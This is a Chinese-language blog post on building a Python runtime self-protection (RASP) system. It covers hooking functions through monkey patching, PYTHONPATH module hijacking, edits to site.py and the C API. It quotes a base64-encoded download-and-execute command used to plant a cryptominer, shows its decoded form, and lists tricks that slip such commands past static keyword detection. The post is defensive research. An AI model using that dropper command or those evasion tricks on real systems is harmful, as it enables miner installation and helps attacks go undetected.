Python RASP 工程化:一次入侵的思考
前言
今天講的內容會很深,包括一些 Python的高階用法和一些自己創造的黑科技,前半部分內容你們可能聽過,後半部分內容就真的是黑科技了。。。
深入的研究和思考,總會發現很多有意思的東西。每一次的研究,都不會是無緣無故的,下面開始我們今天的故事。( 注意文末有花絮 )
Tips: RASP,全稱應用執行時自我保護解決方案,可以簡單理解為部署在應用環境的監控防禦程式。
萬事有因果
本次的研究 來源於 對一次入侵手法的思考 ,眾所周知,在linux主機上,挖礦木馬比較流行。現在挖比特幣的相對少了,又有挖門羅幣的。這些木馬的植入不會說直接傳檔案上去,這樣動作太大,更多的是通過執行shell命令,遠端下載檔案並執行 。以如下情況為例,很特別,這是一個通過Python命令植入的挖礦木馬:
python -c 'exec("aW1wb3J0IG9zOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xMjcuMC4wLjEvanAvam0iLCAiL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiL3Zhci90bXAvc3ZyIik7".decode("base64"))'
通過base64解密之後的內容(ip脫敏了):
import os; import urllib; hd = urllib.urlretrieve ("http://127.0.0.1/jp/jm", "/var/tmp/svr"); os.system("chmod +x /var/tmp/svr"); os.system("/var/tmp/svr");
通過base64隱藏真實程式碼是一個常用的方式,不能說這樣做很高明,這條命令特徵相對還是比較明顯了。
現有的防禦辦法是靜態分析,通過抓取Python 程序引數,匹配關鍵字,比如exec,decode,base64 就會很容易發現。但是如果咱們腦暴一下做一次靜態策略繞過,你會發現靜態分析是多麼的脆弱。
1.繞過 base64
"base64" = 'case64'.replace('c','b') = '1base641'[1:7]
2. 繞過decode (或者直接不用編碼)
str.__dict__["dec"+"ode"]('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo=','base64')
3.終極絕招( 妙用管道,讓你抓不到Python引數 )
echo "exec('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo='.decode('base64'*1))" | python
相信到第3步,靜態分析已經窮途末路,你連資料都沒有了。
這3次繞過是想說明一個問題,Python語言很靈活,尤其和shell結合後,靜態分析這條路已經解決不了實際問題。
問題出在哪呢?問題出在Python語言本身,語法的靈活對靜態分析是致命的。我總結了這麼一句話,大家可以回味一下:
當字串可以當作程式碼執行時,靜態分析的盡頭也就到了
那該怎麼解決呢?從Python語言本身出發,監控整個Python的動態行為,這就是Python RASP。
研究Python RASP值不值得花時間呢? 你只需要知道每個linux主機上都會預裝Python環境,你就知道它的威脅了。
說實話,有開源的PHP RASP,JAVA RASP,還真的沒有Python RASP,下面的研究完全是一個摸索的過程。
在研究的過程中,我碰到 兩次僵局 ,窮途陌路之感,差一點以為Python RASP 不能發揮很大的作用。
Monkey Patch 與 依賴注入
Python RASP的行為監控,簡單來說就是 hook關鍵函式 ,將函式的引數和返回值,送回策略進行過濾。
(1) Monkey Patch
說到hook,首先想到的是Monkey Patch這種方法,對於Python的理念來說,一切皆物件,我們可以動態修改Python中的物件。舉個例子:
在主函式中,修改open內建函式,給open新增的了日誌列印的功能。執行效果如下,成功的打印出了日誌:
函式呼叫順序如下:
open('1.txt','r') ->__call__ ->_pre_hook -> post_hook -> return
但是你有沒有發現問題,也就是說 我們需要將hook程式碼新增到使用者程式碼之前,這不現實 ?
現有業務中這麼多專案,這麼多指令碼,每個專案的程式碼,我都要改的話,我猜業務同學會殺策略祭天。因此Monkey Patch 這種方式 暫時放棄 了,換個思路。
(2)依賴注入
如果大家之前做過dll劫持,有一種方式是根據dll載入順序的先後進行劫持的,同樣python中我們也可以用這種方式來做。以import os為例,Python是如何找到os模組呢?搜尋順序如下:
當前目錄 -> $PYTHONPATH -> Lib庫目錄 -> site-package 第三方模組路徑
我們要利用的就是 $PYTHONPATH 環境變數指定的目錄,在這個目錄下,新建os.py檔案,import os就不會去 Lib庫目錄 中查詢模組,從而實現了 劫持 。 我們既可以劫持函式,也可以劫持類。
2.1 劫持os模組下的system函式
首先在當前pythonpath路徑下建立os.py檔案,然後過載一下os模組,最後使用_InstallFcnHook改變system。
2.2 劫持socket模組下的_fileObject類
劫持類,我們需要用到Python中元類的概念。元類就是用來建立類的類,函式type實際上是一個元類。
元類的主要目的就是為了 當建立類時能夠自動地改變類, 使用元類來劫持類再合適不過了。需要用到的主要方法和屬性如下:
-
__metaclass__:你可以在寫一個類的時候為其新增__metaclass__屬性, Python就會用它來建立類。__metaclass__可以接受任何可呼叫的物件,你可以在__metaclass__中放置可以建立一個類的東西
-
__new__:是用來建立類並返回這個類的例項
-
__call__:任何類,只需要定義一個__call__()方法,就可以直接對例項進行呼叫,用callable來判斷是否可被呼叫
-
__getattribute__:定義了你的屬性被訪問時的行為
劫持fileObject類,首先在當前pythonpath路徑下建立socket.py檔案,然後使用_installclshook動態修改此類,當訪問_fileobject的屬性方法時,返回到_hook_writeline 和 _hook_readline。
依賴注入這種方法,有一個 很大的缺陷 ,就是 內建模組中的類和函式沒辦法劫持 。以__builtin__內建模組為例,這個模組是Python虛擬機器中內建的,在虛擬機器啟動之前就已經載入完畢,不會再去pythonpath中去查詢,常見的open函式,decode函式都是沒辦法劫持的。
雖然使用Monkey Patch能解決,但是依舊有上面所說的原因,沒辦法工程化,這就很苦惱。
破局 到 再次入局
出現僵局總得解決,有一點可以確定的是 Monkey Patch 可以hook內建函式,那要解決的問題就是 如何讓hook程式碼永遠在在使用者程式碼之前執行, 這樣我們的hook才能有效控制函式呼叫。
腦洞大開
在使用者程式碼執行之前是誰執行呢? 肯定是Python虛擬機器先執行 。如果Python虛擬機器啟動的過程中,預載入了一些模組,你把我們的程式碼插入這些模組中,不就可以比使用者程式碼先運行了!!!
有時候真的是需要腦洞,事實證明我走對了。網上所有關於monkey patch 的資料,都是在教你修改使用者程式碼,新增hook函式,實現動態修改,這種方式還真沒有, 可以加個雞腿了 。
腦洞開完之後,下面就需要進行 苦逼的分析 ,你要分析Python虛擬機器的初始化過程,必須要看 Python原始碼 了。我就不帶大家看程式碼了,給出一個Python虛擬機器模組大致的載入過程。
Python虛擬機器在設定模組路徑時,其中的第三方模組路徑是 載入site.py模組 進行設定的。Python原始碼部分如下:
以Windows py2.7為例,開啟 D:\Python27\Lib目錄下的site.py檔案 ,將我們在第二節中的hook程式碼 引入到檔案末尾 即可,這樣無論執行什麼樣子的使用者程式碼,都會 首先載入我們的hook程式碼 。
本以為到此就結束了,可是 才發現 剛剛入坑 而已 。因為就在我打算hook內建 __builtin__模組str類的decode時,出現了異常。
google了一下異常資訊,得出一個結論:Monkey Patch可以修改內建模組中的函式,但是 沒辦法修改內建模組中的類屬性, 比如str的decode函式就沒辦法了。
其實到這就可以結束了,因為大部分模組,我們都可以hook住了,但是 感覺有缺憾,不夠完美,還是有漏的,束縛了RASP的能力,因此又有了接下來的黑科技,開腦洞吧。。。
腦洞黑科技
這時候能用的技術都用完了,真是窮途末路了。。。需要點靈感!!!
腦洞時間
之前寫java程式的時候,使用過JNI技術,也就是java的C介面,很多java做不到的事情,使用C介面就可以做到,還可以訪問java物件。聯想到Python Monkey Patch失敗的問題, 很有可能是在Python層做的禁止 ,是否可以通過 Python C API操作物件呢 ?
每一個類物件都有一個__dict__,裡面包含著每個類的屬性資訊,例如如果我們想從str取出decode函式,可以這麼幹:
str.__dict__["decode"]
因此咱們只要獲取__dict__屬性,對這個屬性進行修改,就可以達到替換的目的。咱們使用C API來獲取:
通過patch_builtin函式,我們就可以獲取__dict__物件,然後使用setattr和getattr修改屬性即可,由於我們不改變原有的函式,只是收集日誌,所以基本上對虛擬機器執行沒有影響。最後實驗一下效果:
到此為止,Python RASP的所有的技術點都結束了。。。呼吸一口新鮮空氣。。。
亦正亦邪
技術點結束了,下面就需要落地了。Python RASP整體分為兩部分:Agent和Server,Agent負責hook函式,收集函式日誌,併發給Server,Server負責處理日誌資料,並制定相應的策略進行過濾報警。
在落地的過程中,有以下問題需要注意:
-
資料壓制:Agent在採集函式日誌的時候,因為很多Python程式都是做週期性任務,重複資料會很多。
-
相容性: Python RASP 對於Py2和Py3要進行相容性處理。
-
自保護:其實對於Python RASP有很多逃逸的方式,對此我們要進行加固,下一篇我們會講解逃逸和加固。
在設計策略的過程中,注意收集一些 執行命令和網路 的函式,在下一篇我會列舉出來。
大家有沒有想過Python RASP中使用的技術,是不是 特別像木馬後門 。這可能就是所謂的 技術本沒有好壞,看你怎麼用罷了 。
最後
關注公眾號: 七夜安全部落格
- 回覆【1】:領取 Python資料分析 教程大禮包
- 回覆【2】:領取 Python Flask 全套教程
- 回覆【3】:領取 某學院 機器學習 教程
- 回覆【4】:領取 爬蟲 教程
- 回覆【5】:領取 編譯原理 教程
- 回覆【6】:領取 滲透測試 教程
- 回覆【7】:領取 人工智慧數學基礎 教程
本文章屬於原創作品,歡迎大家轉載分享,禁止修改文章的內容。尊重原創,轉載請註明來自:七夜的故事 http://www.cnblogs.com/qiyeboy/